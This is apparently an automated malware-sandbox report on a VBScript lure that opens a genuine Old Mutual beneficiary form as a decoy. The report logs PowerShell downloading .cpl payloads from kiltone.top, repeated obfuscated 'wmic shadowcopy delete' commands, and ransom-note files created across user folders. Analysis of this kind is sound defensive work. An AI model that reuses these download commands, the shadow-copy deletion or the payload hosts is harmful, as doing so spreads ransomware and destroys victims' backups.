https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, ProcessId: 7472, ProcessName: powershell.exe
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7840, ProcessName: svchost.exe
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.4% probability
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeJoe Sandbox ML: detected
Source: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdfHTTP Parser: No favicon
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49782 version: TLS 1.2
Source: Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr
Source: Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source: Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\hwvid-migration-2\

Software Vulnerabilities

barindex
Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

barindex
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: Joe Sandbox ViewIP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox ViewASN Name: TELE-ASTeleAsiaLimitedHK TELE-ASTeleAsiaLimitedHK
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /stelin/rwcla.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /stelin/Gosjeufon.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global trafficDNS traffic detected: DNS query: www.oldmutual.co.za
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: kiltone.top
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 8659Connection: closeDate: Sat, 14 Dec 2024 12:59:44 GMTLast-Modified: Fri, 13 Dec 2024 15:13:14 GMTETag: "693e4a6385e015012881fbf286a7610b"x-amz-server-side-encryption: AES256Accept-Ranges: bytesServer: AmazonS3Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://www.gstatic.com https://embed.tawk.to https://cdn.jsdelivr.net/* https://css.zohocdn.com https://css.zohostatic.com https://cdn.jsdelivr.net/* https://static.zohocdn.com; img-src 'self' data: https://p.typekit.net https://tawk.link https://tawk.link/* https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://t.co https://www.google.co.za https://www.google.com https://www.gstatic.com https://ssl.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://eu-images.contentstack.com https://images.contentstack.io https://i.ytimg.com https://www.google-analytics.com https://www.facebook.com https://stats.g.doubleclick.net https://px.ads.linkedin.com https://p.adsymptotic.com https://lh3.googleusercontent.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://optimize.google.com https://ws.sessioncam.com https://services.ominsure.co.za https://*.fls.doubleclick.net https://sp.analytics.yahoo.com https://embed.tawk.to https://embed.tawk.to https://salesiq.zoho.com https://salesiq.zoho https://salesiq.zohopublic.com https://css.zohostatic.com https://css.zohostatic.com/* https://css.zohocdn.com https://analytics.twitter.com/1/i/* https://geo-tracker.trinadsp.co.za/* https:/
Source: cert9.db.34.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cert9.db.34.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cert9.db.34.drString found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: svchost.exe, 0000000A.00000002.2602166639.000002B6CE600000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
Source: cert9.db.34.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cert9.db.34.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cert9.db.34.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cert9.db.34.drString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000A.00000002.2602531104.000002B6CE6D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2599826461.000002B6C8EA2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2602334746.000002B6CE662000.00000004.00000020.00020000.00000000.sdmp, edb.log.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000000A.00000002.2602334746.000002B6CE693000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com:80
Source: qmgr.db.10.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cert9.db.34.drString found in binary or memory: http://ocsp.digicert.com0
Source: cert9.db.34.drString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cert9.db.34.drString found in binary or memory: http://x1.c.lencr.org/0
Source: cert9.db.34.drString found in binary or memory: http://x1.i.lencr.org/0
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://MD8.mozilla.org/1/m
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://account.bellmedia.c
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://allegro.pl/
Source: prefs.js.34.drString found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://bugzilla.mo
Source: prefs.js.34.drString found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: rundll32.exe, 00000016.00000002.2011534286.000000000263A000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.drString found in binary or memory: https://digify.com/a/#/access/login
Source: fjeljies.cpl.16.drString found in binary or memory: https://digify.com/a/#/access/logincmd
Source: edb.log.10.dr, qmgr.db.10.drString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000A.00000003.1349875196.000002B6CE3C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: extensions.json.34.drString found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: prefs.js.34.drString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.td
Source: fjeljies.cpl.16.drString found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl
Source: cmd.exe, 0000001D.00000002.1643205950.0000000002DF0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp
Source: wscript.exe, wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.top/stelin/rwcla.
Source: wscript.exe, 00000000.00000003.1491257753.00000198F76A0000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbsString found in binary or memory: https://kiltone.top/stelin/rwcla.cpl
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://login.live.com
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://login.microsoftonline.com
Source: extensions.json.34.drString found in binary or memory: https://screenshots.firefox.com/
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: favicons.sqlite.34.drString found in binary or memory: https://support.mozilla.org/products/firefox
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://twitter.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://weibo.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.aliexpress.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.ca/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.fr/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.avito.ru/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.baidu.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.bbc.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ctrip.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ebay.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ebay.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.google.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.google.com/complete/
Source: ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.34.dr, 63479b8a-b3f3-4e99-9b36-3d051426e737.34.drString found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: data.safe.bin.34.drString found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=&
Source: data.safe.bin.34.drString found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=&metrics#search.engine.default.verified
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ifeng.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.iqiyi.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.leboncoin.fr/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.mozilla.org/
Source: favicons.sqlite.34.drString found in binary or memory: https://www.mozilla.org/about/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: favicons.sqlite.34.drString found in binary or memory: https://www.mozilla.org/contribute/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.msn.com
Source: chromecache_594.11.drString found in binary or memory: https://www.oldmutual.co.za/news/internet-explorer-support
Source: wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0
Source: wscript.exe, 00000000.00000003.1491191170.00000198F767F000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbsString found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.olx.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.reddit.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.wykop.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.youtube.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.zhihu.com/
Source: unknownNetwork traffic detected: HTTP traffic on port 49674 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49676 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49870
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49870 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
Source: unknownNetwork traffic detected: HTTP traffic on port 49671 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50000 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49782 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\local\temp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\afwaafrxko\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\bpmlnobvsb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\facwlrwhgg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\kzwfnrxyki\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\mqawxuyaik\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\nwtvcdumob\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\onbqclyspu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\qvtvnibksd\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\tqdgenuhwp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\ummbdneqbn\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\wkxewiotxi\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\xqachmzihu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\afwaafrxko\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\bpmlnobvsb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\facwlrwhgg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\kzwfnrxyki\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\mqawxuyaik\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\nwtvcdumob\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\onbqclyspu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\qvtvnibksd\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\tqdgenuhwp\decryptfiles.txt
